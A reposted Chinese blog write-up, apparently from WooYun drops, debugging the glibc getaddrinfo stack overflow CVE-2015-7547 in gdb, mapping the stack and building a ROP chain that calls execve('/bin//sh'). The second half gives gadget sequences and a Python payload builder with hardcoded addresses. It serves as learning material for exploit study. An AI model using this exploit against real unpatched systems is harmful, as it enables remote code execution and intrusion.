转载

CVE-2015-7547分析及利用

0x00 前言

这段时间一直在学习Linux漏洞攻防,看了很多大神的文章,比如蒸米大神在drops发表的系列,还有google到的一些paper等,受益匪浅。这里也给其它对Pwn感兴趣的同学推荐 《海枫的专栏》 ,是我的一位大腿学长推荐给我入门用的,非常nice!

当然了对于我这种Pwn新手来说,光看大神的文章是不够的,在看了k0师傅还有知识库上mrh大神的7547调试后,自己尝试动手去调试7547这个洞,才更深刻明白这个洞的成因及原理,同时为了给ROP技能加技能点,也尝试对CVE-2015-7547这个洞自己编写EXP去完成简单利用。

本文分两部分,第一部分写在编写exp之前如何劫持EIP,对栈空间布局的摸索。第二部分介详细绍在这个漏洞下如何编写ROP链来打开一个shell。

第一次在乌云投稿,仍有很多不足之处,还请各位大牛们多多批评指点!!!

0x01 分析

这个漏洞分析及如何搭建测试环境k0师傅在seebug上以及mrh大神在drops的文章都写的非常详细,在下面参考中附上了原文地址。我就站在巨人的肩膀上写一些自己在7547分析上的一些环节。本文的重点是后续如何去编写列用exp,为了编写exp在调试中需要弄清楚很多事情,包括劫持eip的位置,栈空间布局等。下面我们就一一道来。

1.寻找漏洞触发点

谷歌给的POC很长,运行POC后gdb调试,追寻漏洞出发点。

根据漏洞触发流程,在阅读源代码后,我们分别对以下函数下断

#!bash $b _nss_dns_gethostbyname4_r (/opt/glibc-2.20/resolv/res_dns/dns-host.c) $b __libc_res_nsearch (/opt/glibc-2.20/resolv/res_query.c) $b __libc_res_nquery (/opt/glibc-2,20/resolv/res_query.c) $b __libc_res_nsend (/opt/glibc-2,20/resolv/res_send.c) $b send_vc (/opt/glibc-2,20/resolv/res_send.c) 

后面是源码位置,方便大家阅读。

在send_vc停下后,我们用bt看下调用栈:

CVE-2015-7547分析及利用

一切正常,finish完成此函数,发现poc窗口发送了请求,同时再看栈段发现

CVE-2015-7547分析及利用

CVE-2015-7547分析及利用

在send_vc源码中,主要问题出现在这里

CVE-2015-7547分析及利用

CVE-2015-7547分析及利用

结束send_vc后,通过单步调试n,锁定在nquery中这几行的

CVE-2015-7547分析及利用

我们知道了第二次POC发送的数据才是造成溢出的关键所在,google的验证POC中第二次发送的数据加上了2300个B,也就是我们后续编写利用exp大施拳脚的地方

CVE-2015-7547分析及利用

2.寻找可被劫持的EIPEIP位置

我们知道,想劫持程序流程就要去劫持EIP,劫持EIP就要找ret。所以我们首先要弄清整个的栈布局。

我们在gethostbyname4_r函数中运行完分配空间这行代码后

CVE-2015-7547分析及利用

直接打印这个变量

CVE-2015-7547分析及利用

这个就是我们2300个B的所在的起始位置,我们溢出后来看一下

CVE-2015-7547分析及利用

这也就是我们的栈顶,那么返回地址在哪儿呢?只要在gethostbyname4_r中在分配这2048之前打印下esp就知道啦

CVE-2015-7547分析及利用

剪头指向的就是我们要劫持的EIP处。

目前已知的栈空间如下

CVE-2015-7547分析及利用

中间那堆????是否要弄清,我们来做个试验,发送小于(2048 + 108 )2156 个B,在不覆盖Ret的情况下,程序能继续执行吗?

修改poc,发送2150个B,run

CVE-2015-7547分析及利用

发型程序并没有继续中断,这说明栈空间中的“????”区域还是有要用的参数的,这个大坑就需要慢慢来填了………

这里有一点要注意,我们上面这个图中栈的地址是gdb调试环境,和真实环境是不一样的,但是栈的布局和真实环境是一样的,所以我们只需要在真实环境下看下dump下来的core文件找到栈头的起始地址,再根据差值计算其他的就可以了。

CVE-2015-7547分析及利用

发现真实环境下的栈顶为0xbfffe240,与gdb下的0xbfffe220差了0x20。

继续去探查栈空间

3.摸清栈空间

我们可以看到停在这一行

CVE-2015-7547分析及利用

再看nquery源代码可发现

CVE-2015-7547分析及利用

此处有对hp和hp2的非零校验,

我们现在要找到hp和hp2所处的位置以及它们的值,finish完send_vc后,单步调试执行到assert这个语句把两个变量都打印出来

CVE-2015-7547分析及利用

这时候我们在栈空间中去寻找

CVE-2015-7547分析及利用

以此发现它们分别存在于0xbfffea68以及0xbfffea6c处。

以此我们可以用bfffea68减去bfffe220就可推算出和栈顶的偏移量,现在我们重新构造POC,将该位置处的hp和hp2的值就赋在上面

但依然退出未继续执行,还得继续探寻这段栈空间。

我们在gethostbyname4_r源码中可以看到

CVE-2015-7547分析及利用

这段代码用来检测是否在整个函数执行过程中,申请了新的栈空间。根据源代码以及调试过程,这个ans2p就是我们之前的hp2,这个在通过了之前的nquery中的非零验证,但此处的free依然会出错,所以我们不能让if(ans2p_malloced)这个条件成立,那么我们就要找这个ans2p_malloced是存在什么位置的,并把它置0.

看源代码

CVE-2015-7547分析及利用

在看源代码的时候看到之前下断点的函数的参数就有ans2p_malloced等,我们只要在函数暂停的时候直接看它传进去的参数就好。再次修改POC为正常,然后调试

CVE-2015-7547分析及利用

可以很清楚的看到gdb调试态下,ans2p_malloced以及其它参数在栈中的地址。

说到这儿就有点乱了,现在我们再来画出我们的栈结构,以方便各位看管参阅:

CVE-2015-7547分析及利用

根据栈布局我们再次修改POC,然后run

CVE-2015-7547分析及利用

然后但是此时host_buffer到ret这段栈空间我们还没有摸清,是否可以直接覆盖掉呢?我们先尝试用B覆盖掉看看能不能正常执行,修改POC,run

CVE-2015-7547分析及利用

依然报错,看来这段地址上的参数还是有用的,继续在正常情况下查看栈中这些值都是什么。

CVE-2015-7547分析及利用

分别指出了hp和ret中间的这些参数。虽然不全知道这7个数都是干啥的(最后一个是ebp),但是直接把他们加进POC。发现程序可正常运行=。=

CVE-2015-7547分析及利用

其实后面还有一个坑:(我们在后面exp编写的时候再说

0x02 exp编写

  • 现在我们的栈空间是这样的

CVE-2015-7547分析及利用

同时看下我们开启的防护

CVE-2015-7547分析及利用

由于能力有限,不知道怎么泄露基址,所以没有开启ASLR,通过ROP的方式绕过DEP,写这条ROP链非常有意思,碰上了件很神奇的事,完全无法解释,但索性想了个法子给绕过去了:)

下面我们开始年轻人的ROP链编写

1.Shellcode写啥

很简单,我们就是要在劫持程序流程后执行这么一条命令“execve(“/bin/sh”,argv_rc, envp_rc)”

其中后面两个参数都为0即可。

在执行这条系统调用的时候,我们要知道Linux把这几个参数分别存在ebx, ecx, edx。所以我们构造这样的栈环境,在int 0x80时:

  • Ebx: “/bin/sh”的地址
  • Ecx: “argv_rc”的指针
  • Edx: “envp_rc”的指针

同时我们要知道execve()的系统调用号

CVE-2015-7547分析及利用

要吧eax的值为11也就是0xb。

所以我们的ROP链将围绕设定上述环境展开!

2.ROP链编写

在编写ROP链之前我们先要查看程序都调用了哪些库,他们的起始地址是多少

#!bash $ps -aux | grep client $cat /proc/xxxx/maps 

Xxxx就是PID,我们选择libc-2.20.so和ld-2.21.so

CVE-2015-7547分析及利用

它们可执行段的起始地址分别是b7e37000和b7fdc000。

首先我们将把“/bin/sh”写入一个可读地址,这里要注意一点,因为”/bin”就一定达到4字节,所以要把它们分开写到两个连续的4字节地址,同时“/sh”中有00,会截断后面的语句,所以我们把它换成等效的“//sh”。

找一个可读段,“.data”段当然是我们的不二之选

CVE-2015-7547分析及利用

.data的起始地址:0x0804a028就非常合适,+4以及+8都不存在00。

所以我们构造如下语句:

#!bash pop ecx; pop eax; ret; /bin 0x0804a028 mov [eax],ecx; ret; pop ecx; pop eax; ret; //sh 0x0804a02c mov [eax],ecx; ret; 

我们使用自动化ROPgadgets搜索工具ropeme搜索我们想要的指令,打开ropshell,先用generate分析libc-2.20.so这个库

CVE-2015-7547分析及利用

然后直接search我们需要的gadgets

CVE-2015-7547分析及利用

每一条指令前面的是其在库中的偏移地址,通过之前记录的libc的基地址加上偏移地址,算出真实地址。就不一条条演示了,熟练使用calc:)

然后就是把ecx和edx赋值,由于之前我们在.data~.data+4存了我们的“/bin//sh”,我们可以看看.data+8地址上是啥:

CVE-2015-7547分析及利用

非常完美,于是我们编写如下语句

#!bash pop ecx; pop edx; ret; 0x0804a030 0x0804a030 

然后把“/bin//sh”的地址传入ebx

#!bash pop ebx; pop edx; ret; 0x0804a028 0x0804a030 

由于我搜到的是ebx和edx连着pop,要是能搜到只pop ebx的当然也很好!

环境已经调的差不多了,最后开启系统调用,语句如下

#!bash xor eax,eax; ret; add eax,0xb; ret; int 0x80; ret; 

到此为止我们的shellcode为:

#!bash pop ecx; pop eax; ret; /bin 0x0804a028 mov [eax],ecx; ret; pop ecx; pop eax; ret; //sh 0x0804a02c mov [eax],ecx; ret; pop ecx; pop edx; ret; 0x0804a030 0x0804a030 pop ebx; pop edx; ret; 0x0804a028 0x0804a030 xor eax,eax; ret; add eax,0xb; ret; int 0x80; ret; 

我们通过ropeme计算出他们的地址后,写入POC测试:

CVE-2015-7547分析及利用

发现问题,程序流程为成功劫持。

Bt查看回溯,发现在gaih_getanswer处的几个参数怎么是我们的rop中的语句呢

CVE-2015-7547分析及利用

我们这几条语句都被当做参数传了

CVE-2015-7547分析及利用

我们再次修改POC为正常,再次调试程序

CVE-2015-7547分析及利用

我们正确执行这行之后,查看栈中参数

CVE-2015-7547分析及利用

我们从EIP位置往后数7个,这7个参数会被传入gaih_getanswer,所以在ret地址之后的栈空间布局如下:

CVE-2015-7547分析及利用

现在栈空间布局就非常明了了,再看源代码

CVE-2015-7547分析及利用

为了跳过这7个参数,我想到的版发是在原来Ret addr位置中的指令直接去修改esp

#!bash add esp,0x1c; ret; 

好了,再度修改POC,run

CVE-2015-7547分析及利用

终于,程序执行到了我们的ROP! 但是此处要注意,在本该是传“//sh”的位置,却传的是‘.’,刚开始以为是peda的错,后来尝试修改POC中的//sh为其他,都是这个“.”,完全不知道为什么,直到最后系统调用时依然如此

CVE-2015-7547分析及利用

这个坑坑了我半天……最后多次调试后发现只有在第一次传字符串后的第4行指令处出现问题,到现在依然不知道为什么出现这么奇葩的栈环境,最后自己无奈想了个法子,把原来的ROP变成了以下这种方式,成功绕过=。=

#!bash pop ecx; pop eax; ret; /bin 0x0804a028 mov [eax],ecx; ret; pop eax; ret /bin pop ecx; pop eax; ret; //sh 0x0804a02c mov [eax],ecx; ret; 

最终修改POC如下

#!python if data2:       data = ''       data += dw(id2)       data += 'B' * (2106)       data += dw(0) * 2       data += 'B' *(8)       data += struct.pack('<I',0xbfffe220)       data += struct.pack('<I',0x0804c3a8)       data += struct.pack('<I',0x00000004)       data += struct.pack('<I',0xbfffea70)       data += struct.pack('<I',0Xb7f8351a)       data += struct.pack('<I',0xb7fd3000)       data += struct.pack('<I',0xb7e24314)       data += struct.pack('<I',0x00000420)       data += struct.pack('<I',0xbfffefd8)        data += struct.pack('<I',0xb7e4e667)        data += struct.pack('<I',0x08048653)       data += struct.pack('<I',0xbfffefc8)       data += struct.pack('<I',0xbfffeac0)       data += struct.pack('<I',0x00000420)       data += struct.pack('<I',0xbfffefc4)       data += struct.pack('<I',0xbfffefb0)       data += struct.pack('<I',0x00000000)        data += struct.pack('<I',0xb7f18d91)       data += '/bin'       data += struct.pack('<I',0x0804a028)       data += struct.pack('<I',0xb7e6023f)       data += struct.pack("<I",0xb7e59848)       data += '/bin'       data += struct.pack('<I',0xb7f18d91)       data += '//sh'       data += struct.pack('<I',0x0804a02C)       data += struct.pack('<I',0xb7e6023f)        data += struct.pack('<I',0xb7e6099b)       data += struct.pack('<I',0x0804a030)       data += struct.pack('<I',0x0804a030)        data += struct.pack('<I',0xb7f20f0a)       data += struct.pack('<I',0x0804a028)       data += struct.pack('<I',0x0804a030)        data += struct.pack('<I',0xb7eaa424)       data += struct.pack('<I',0xb7f66756)       data += struct.pack('<I',0xb7fdca70) 

运行效果:

CVE-2015-7547分析及利用

完成

由于我是今年年初才开始接触二进制,还在不断学习中,和诸多大牛还差的很远,感谢k0师傅对我的指点,下一步要尝试调一个堆相关的CVE以及x64下的调试:)

继续努力ing!

0x03 参考

  1. glibc _getaddrinfo栈缓冲区溢出漏洞(CVE-2015-7547)
  2. CVE-2015-7547简单分析与调试
  3. CVE-2015-7547的漏洞分析
  4. ROP构造
原文  http://drops.wooyun.org/papers/17080
正文到此结束
Loading...